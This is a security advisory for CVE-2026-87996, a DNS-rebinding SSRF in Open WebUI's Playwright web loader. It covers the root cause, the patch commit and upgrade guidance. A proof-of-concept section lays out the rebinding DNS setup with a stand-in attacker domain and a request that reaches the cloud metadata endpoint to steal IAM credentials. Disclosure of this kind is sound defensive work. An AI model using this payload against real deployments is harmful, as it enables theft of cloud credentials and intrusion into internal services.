CVE-2026-87996: open-webui DNS Rebinding SSRF in Playwright Web Loader
When Open WebUI uses Playwright as its web loader, an authenticated user can trick the server into fetching internal-only addresses (like cloud metadata or loopback admin APIs) by pointing a hostname…

The problem
Open WebUI versions 0.9.6 through 0.10.x include a SafePlaywrightURLLoader that validates user-submitted URLs by resolving the hostname once in Python and rejecting private addresses. It then hands the original URL to Playwright, which resolves the hostname a second time on its own and connects to whatever it gets back.
Because the two lookups happen in separate processes with no IP pinning between them, an attacker who controls the authoritative DNS for the submitted hostname can answer the first lookup with a safe public IP (passing the check) and the second with 169.254.169.254 or any internal address.
The browser connects to the internal target, and the full HTTP response body is returned to the user as the page content. On a cloud host with IMDSv1 enabled, that is enough to retrieve IAM credentials.
Proof of concept
A working proof-of-concept for CVE-2026-87996 in open-webui, with the exact payload below.
# Step 1: Register a domain you control, e.g. rebind.attacker.example
# Step 2: Run an authoritative DNS server that serves a short TTL (e.g. 1s)
# - First query → 93.184.216.34 (public IP, passes Python validate_url check)
# - Second query → 169.254.169.254 (IMDSv1 metadata; browser connects here)
# Step 3: As any authenticated Open WebUI user, submit the URL for ingestion:
POST /api/v1/retrieval/web/search (or the web ingestion endpoint)
Content-Type: application/json
Authorization: Bearer <user_token>
{
"urls": ["http://rebind.attacker.example/latest/meta-data/iam/security-credentials/"]
}
# The Python check resolves rebind.attacker.example → 93.184.216.34 → passes.
# Playwright opens a new page and calls page.goto(url), resolving the hostname
# again. The attacker DNS now returns 169.254.169.254.
# Playwright connects to the metadata service; the response body is returned
# in the web-search/ingestion result the user receives, exposing IAM credentials.The root cause is a classic TOCTOU split: validate_url() resolves the hostname in the Python process, but then _intercept_navigation_sync / _intercept_navigation_async called route.continue_(), which handed the raw URL back to the Chromium process. Chromium resolved the name a second time with no constraint from the earlier check.
Playwright's request-fetch API offers no connection-pinning primitive, so the check was merely an opinion about a prior lookup, not a constraint on the socket that followed (CWE-367 / CWE-918).
The patch (commit 27402ff21, PR #28634) replaces route.continue_() with route.fetch(max_redirects=0) issued from the SSRF-safe HTTP client, then fulfils the Playwright response from the bytes received. The hostname is resolved exactly once, inside the validated client, and every redirect hop is re-validated before following it.
The browser never gets to issue its own DNS query.
The fix
Upgrade open-webui to 0.11.1 or later. The fix is in commit 27402ff21 (PR #28634): the Playwright request interceptors no longer call route.continue_(). They now fetch the resource themselves via the SSRF-safe HTTP client and fulfil the browser with the pre-fetched bytes, eliminating the second browser-side DNS resolution entirely.
No configuration change is needed beyond upgrading. If you cannot upgrade immediately, set WEB_LOADER_ENGINE to the default (not playwright) to remove the vulnerable code path entirely.
Reported by @baeseungwon1010.
Related research
- high · 7.1CVE-2026-87999CVE-2026-87999: Open WebUI SSRF via Azure Platform Channel Address Bypass
- high · 7.1CVE-2026-70485CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass
- high · 7.7CVE-2026-70479CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader
- high · 8.7CVE-2026-87995CVE-2026-87995: Open WebUI Same-Origin XSS to Account Takeover via Terminal Port-Preview iframe